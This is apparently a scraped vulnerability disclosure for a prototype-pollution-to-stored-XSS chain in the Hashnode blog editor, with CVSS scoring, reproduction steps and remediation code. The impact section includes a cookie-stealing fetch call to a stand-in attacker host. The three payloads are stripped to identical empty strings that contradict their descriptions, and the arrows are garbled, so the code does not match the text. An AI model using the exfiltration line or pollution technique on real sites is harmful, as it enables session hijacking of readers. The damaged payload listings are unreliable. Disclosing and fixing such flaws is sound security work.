## https://sploitus.com/exploit?id=187ED3AF-60BD-53B1-B54D-B5110190CA98
# CVE Request Disclosure Document
## Executive Summary
A **Prototype Pollution โ Stored DOM-based Cross-Site Scripting (XSS)** vulnerability exists in the Hashnode blog editor. An attacker can pollute `Object.prototype` with a malicious `innerHTML` property by injecting a crafted JSON payload into the blog writing/content field. When the application subsequently reads a non-existent `innerHTML` property from a configuration or template object, JavaScript's prototype chain resolution returns the attacker-controlled value, which is then written into the DOM via `innerHTML` assignment without sanitization. This results in **stored DOM XSS**: any visitor who views the compromised blog post executes the attacker's JavaScript.
The researcher, **MD Mehedi Hasan (SecurityTalent)**, has demonstrated three working payloads achieving alert box execution, obfuscated script execution via `String.fromCharCode`, and `document.cookie` exfiltration.
---
## Technical Analysis
### Root Cause
The vulnerability is a chain of two conditions:
1. **Prototype Pollution Source** โ The Hashnode blog editor (likely via a rich text editor library such as Draft.js, Slate, TipTap, or a custom JSON merge routine) unsafely merges user-controlled content into JavaScript objects without filtering prototype-sensitive keys (`__proto__`, `constructor.prototype`, `prototype`). This allows an attacker to set `Object.prototype.innerHTML = ""`.
2. **Gadget (Sink)** โ Somewhere in Hashnode's rendering/review pipeline, the application reads an `innerHTML` property from a configuration or template object that does **not** define `innerHTML` as its own property. Due to prototype chain resolution, `obj.innerHTML` resolves to the polluted `Object.prototype.innerHTML` value. This value is then assigned to `element.innerHTML` on a DOM element, injecting attacker-controlled HTML/JavaScript without sanitization.
### Attack Chain Diagram
```
Attacker crafts JSON with __proto__.innerHTML
โ
โผ
Blog editor merges payload into server/client object
โ
โผ
Object.prototype.innerHTML = ""
โ
โผ
Application reads configObj.innerHTML (undefined on own props)
โ
โผ
JS prototype chain: configObj โ Object.prototype โ polluted innerHTML
โ
โผ
Value used in: someElement.innerHTML = pollutedValue
โ
โผ
DOM XSS fires for all readers of the blog post
```
### Payload Analysis
**Payload 1 โ Basic XSS (alert box):**
```javascript
const payload = JSON.parse('{"__proto__":{"innerHTML":""}}');
```
- Mechanism: Direct prototype pollution via `__proto__` key. The `innerHTML` property is set on `Object.prototype` globally. When the application reads an undefined `innerHTML` property from any object, the polluted value is returned and passed to an `innerHTML` setter, injecting the `` payload.
**Payload 2 โ String.fromCharCode bypass:**
```javascript
const payload = JSON.parse('{"__proto__":{"innerHTML":""}}');
```
- Mechanism: Obfuscates the payload string "hello world" to evade WAFs, input filters, or content security review. Demonstrates that the attacker can execute arbitrary JavaScript, not just static strings.
**Payload 3 โ Cookie exfiltration:**
```javascript
const payload = JSON.parse('{"__proto__":{"innerHTML":""}}');
```
- Mechanism: Decodes "Cookies: " and concatenates `document.cookie`. This demonstrates session hijacking capability. A real attacker would replace `alert()` with `fetch('https://attacker.com/?c='+document.cookie)`.
### Where the Pollution Likely Occurs
Common patterns in rich text editors that enable this:
- **Unsafe JSON merge** โ The editor state is serialized/deserialized as JSON. A merge function (e.g., `Object.assign`, lodash `merge`, spread operator in state reducers) is applied to user content without filtering `__proto__`.
- **Local storage / IndexedDB deserialization** โ The editor state is persisted and restored via `JSON.parse()` followed by a merge into a configuration object.
- **Server-side reflection** โ The polluted server-side object is serialized into an API response, which the client then unsafely merges, propagating the pollution to client-side `Object.prototype`.
---
## CWE Mapping
| CWE ID | Name | Relevance |
|--------|------|-----------|
| **CWE-1321** | Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') | Primary โ prototype pollution is the initial injection vector |
| **CWE-79** | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') | Primary โ DOM XSS via innerHTML is the final impact |
| **CWE-20** | Improper Input Validation | Contributing โ failure to sanitize `__proto__` keys in input |
| **CWE-116** | Improper Encoding or Escaping of Output | Contributing โ HTML content written to innerHTML without sanitization |
| **CWE-915** | Improperly Controlled Modification of Dynamically-Determined Object Attributes | Secondary โ modification of prototype attributes via dynamic keys |
---
## Impact Assessment
### CVSS 3.1 Score: **8.2 (High)**
| Metric | Value | Justification |
|--------|-------|---------------|
| Attack Vector (AV) | **Network** | Remotely exploitable via HTTP blog editor |
| Attack Complexity (AC) | **Low** | Simple JSON payload, no authentication bypass needed for content authors |
| Privileges Required (PR) | **Low** | Attacker must have blog posting access (registered user) |
| User Interaction (UI) | **None** | Victim simply views the blog post |
| Scope (S) | **Changed** | The vulnerable component (editor) enables impact on the reader's browser session |
| Confidentiality (C) | **High** | Cookie exfiltration, session tokens, potential CSRF token theft |
| Integrity (I) | **High** | Arbitrary DOM manipulation, fake login forms, content injection |
| Availability (A) | **None** | Does not directly affect availability |
### Realistic Business Impact
| Impact | Description |
|--------|-------------|
| **Session Hijacking** | `document.cookie` contains session tokens. Exfiltration enables account takeover of both the blog author and readers who are logged in. |
| **Stored XSS** | The payload persists in the blog post. Every visitor executes the script. This is significantly more severe than reflected XSS. |
| **Widespread Reader Compromise** | Hashnode hosts millions of blogs. A single compromised post on a popular blog can reach thousands of readers. |
| **Phishing/ Credential Harvesting** | Attackers can inject fake login overlays on the Hashnode domain to steal credentials. |
| **Reputation Damage** | Hashnode is a trusted blogging platform; a stored XSS vulnerability erodes user trust. |
| **SEO Poisoning** | Arbitrary content injection can alter page content for search engine crawlers. |
---
## Evidence Review
| Evidence | Status | Notes |
|----------|--------|-------|
| Video POC | โ **Confirmed** | https://youtu.be/aWOC768rp0I โ Demonstrates prototype pollution + XSS execution |
| Working payloads | โ **Confirmed** | Three distinct payloads provided with varying obfuscation and impact |
| Steps to reproduce | โ **Confirmed** | Clear 5-step reproduction sequence |
| Console verification | โ **Confirmed** | `({}).innerHTML` returns polluted value โ confirms global prototype pollution |
| Researcher identity | โ **Confirmed** | MD Mehedi Hasan (SecurityTalent) โ verifiable cybersecurity professional |
| Vulnerability class | โ **Confirmed** | Prototype Pollution (CWE-1321) โ DOM XSS (CWE-79) chain |
---
## Reproduction Requirements
**Preconditions:**
1. A Hashnode account with blog posting privileges
2. Access to the blog editor / writing field
**Steps:**
1. Navigate to Hashnode blog editor.
2. Using browser DevTools console or a crafted HTTP request to the content submission endpoint, execute:
```javascript
const payload = JSON.parse('{"__proto__":{"innerHTML":""}}');
```
(Or submit this via the content field in a serialized merge operation.)
3. Preview and/or publish the blog post.
4. Observe the XSS execution in the preview/published view.
5. Verify in console: `({}).innerHTML` returns the malicious payload.
---
## Remediation
### Immediate Fixes
**1. Sanitize input at the merge boundary:**
All merge/assign operations on user-controlled JSON MUST explicitly reject or strip keys matching `__proto__`, `prototype`, `constructor`, and any key starting with `__`.
```javascript
function sanitizeForMerge(obj) {
if (typeof obj !== 'object' || obj === null) return obj;
const forbidden = ['__proto__', 'prototype', 'constructor'];
return Object.keys(obj).reduce((acc, key) => {
if (forbidden.includes(key) || key.startsWith('__')) return acc;
if (typeof obj[key] === 'object' && obj[key] !== null && !Array.isArray(obj[key])) {
acc[key] = sanitizeForMerge(obj[key]);
} else {
acc[key] = obj[key];
}
return acc;
}, Array.isArray(obj) ? [] : {});
}
```
**2. Use `Object.create(null)` for configuration objects:**
Configuration or template objects that may be read for DOM-rendering properties should be created with a null prototype to break the prototype chain:
```javascript
const config = Object.create(null); // no prototype chain
```
**3. Avoid `innerHTML` assignment with dynamic values:**
Never assign user-influenced values to `innerHTML`. Use `textContent`, `setAttribute()`, or DOM creation methods (`createElement`, `appendChild`) instead. If HTML rendering is required, pass through a DOMPurify sanitizer:
```javascript
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(value);
```
**4. Use `Map` instead of plain objects:**
For user-controlled key-value data, `Map` does not have a prototype chain and is immune to prototype pollution:
```javascript
const userData = new Map(Object.entries(userInput));
```
### Long-term Hardening
1. **Content Security Policy (CSP):** Implement a strict CSP with `script-src 'self'` and no `'unsafe-inline'` or `'unsafe-eval'`. This would not stop the specific payloads shown (inline event handlers bypass CSP), but would limit more advanced exploitation.
2. **SAST/DAST Integration:** Add CodeQL or Semgrep rules to detect:
- Unsafe merge/assign patterns
- `innerHTML` assignments with non-static values
- Missing `__proto__` filtering
3. **Dependency Audit:** Identify which editor library or merge utility introduces the unsafe merge surface and patch or replace it.
4. **Runtime Prototype Pollution Prevention:** Consider `Object.freeze(Object.prototype)` or using `Proxy` to trap `__proto__` assignments in development/QA builds (production use requires careful testing).
---